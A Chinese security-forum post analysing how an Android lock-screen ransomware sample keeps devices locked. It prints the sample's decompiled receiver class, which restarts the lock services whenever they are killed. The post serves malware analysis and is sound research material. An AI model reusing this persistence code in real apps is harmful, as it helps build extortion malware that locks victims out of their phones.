吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 20374|回复: 43
收起左侧

[移动样本分析] 锁屏木马实现原理分析

  [复制链接]
wushaominkk 发表于 2018-3-1 21:43
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 wushaominkk 于 2018-3-1 21:57 编辑

最近在研究锁屏木马实现原理,正好看到论坛上云在天同学发的——多层Android锁机样本分析,文章写的很详细,正好有木马样本,所以拿过来研究下锁屏原理。解锁密码我就不分析了,需要的可以看云在天的原帖!多层Android锁机样本分析
https://www.52pojie.cn/thread-701201-1-1.html
先看看看图:
ss0rSqQ.jpg
一,首先用AndroidKiller反编译,apk没有加固顺利进入,一般锁屏有2种方式,一种通过广播实现,另外一种是在禁用物理按键从而达到锁屏的目的(具体原理可以看我写的另外一篇文章)
Android物理按键监听以及恶意代码分析
https://www.52pojie.cn/thread-703374-1-1.html
广播有2中注册方式,一种是在AndroidManifest.xml注册,一种是在代码中动态注册。先来看看AndroidMainfest.xml文件
如图:

2018-03-01_210352.jpg
静态注册了广播 name=".fuck",顺着思路我们找到这个类看看到底做了些什么操作
如图:
2018-03-01_211222.jpg
2018-03-01_211326.jpg
代码比较简单,步骤就不逐步分析了,直接加注释你们看
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
public class fuck extends BroadcastReceiver
{
  SharedPreferences share;
  //判断服务是否被杀死
  public static boolean isServiceRun(Context paramContext, String paramString)
  {
    boolean bool = false;
        //获取运行中的所有服务
    paramContext = ((ActivityManager)paramContext.getSystemService("activity")).getRunningServices(40);
    int j = paramContext.size();
    int i = 0;
    if (i >= j) {}
        //遍历所有服务的类名是否是锁屏服务的类名
    for (;;)
    {
      return bool;
      if (!((ActivityManager.RunningServiceInfo)paramContext.get(i)).service.getClassName().equals(paramString))
      {
        i += 1;
        break;
      }
      bool = true;
    }
  }
   
  @Override
  public void onReceive(Context paramContext, Intent paramIntent)
  {
          //获取本地缓存对象
    this.share = paramContext.getSharedPreferences("xs", 0);
        //判断获取到的动作是否是com.qq2856437148
    if ("com.qq2856437148".equals(paramIntent.getAction()))
    {
                //如果是com.qq2856437148将boolean改名true
      this.share.edit().putBoolean("jc", true).commit();
      return;
    }
        //如果本地缓存是false并且运行中的服务被杀死,打开主界面锁屏界面
    if ((!this.share.getBoolean("jc", false)) && (!isServiceRun(paramContext, "com.qq2856437148"))) {}
    try
    {
      paramIntent = Class.forName("com.k7.qq2856437148.K7");
      paramIntent = new Intent(paramContext, paramIntent);
      paramIntent.addFlags(268435456);
      paramContext.startService(paramIntent);
      return;
    }
    catch (ClassNotFoundException paramContext)
    {
      throw new NoClassDefFoundError(paramContext.getMessage());
    }
  }

总结:其实很简单,说白了就是程序启动的时候开启3个服务,分别是3层锁屏界面,通过广播如果服务被杀死再次启动服务达到锁屏的目的

免费评分

参与人数 15吾爱币 +18 热心值 +14 收起 理由
九袋 + 1 谢谢@Thanks!
zzzlucas + 1 + 1 谢谢@Thanks!
楓楪-李 + 1 + 1 我很赞同!
萌小悦 + 1 + 1 我很赞同!
wentwent + 1 + 1 谢谢@Thanks!
夜莺之歌 + 1 + 1 热心回复!
syp0826 + 1 我很赞同!
li99774 + 1 谢谢@Thanks!
oscuser + 1 + 1 我很赞同!
qtfreet00 + 6 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
沉浮696 + 1 + 1 鼓励转贴优秀软件安全工具和文档!
寂寞-孤独i + 1 + 1 我很赞同!
wojiaolif + 1 + 1 热心回复!
辛大胖 + 1 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
snccwt + 1 + 1 热心回复!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

6862091 发表于 2018-3-19 21:55
wushaominkk 发表于 2018-3-19 17:50
Android Killer V1.3.1正式版 发布信息
https://www.52pojie.cn/thread-319641-1-1.html

膜拜 大佬 ,刚进论坛还不熟悉。。
 楼主| wushaominkk 发表于 2018-3-19 17:50
jinfang 发表于 2018-3-1 21:51 来自手机
qinyuanjun1993 发表于 2018-3-1 22:08
感谢分享 支持一下
abao991 发表于 2018-3-1 22:17
感谢分享,学习~
我是,小冰 发表于 2018-3-1 22:25
谢谢,明白了!
我才不是狮子喵 发表于 2018-3-1 22:55
感谢分享,学习了
Time丶 发表于 2018-3-1 23:13
可以哦.很强大
回忆微凉 发表于 2018-3-2 00:18 来自手机
锁机软件也是这样吗
孟子郢 发表于 2018-3-2 00:19
支持一下,学习学习
 楼主| wushaominkk 发表于 2018-3-2 00:28 来自手机
回忆微凉 发表于 2018-3-2 00:18
锁机软件也是这样吗

基本上思路是这样的
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2025-3-27 09:02

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表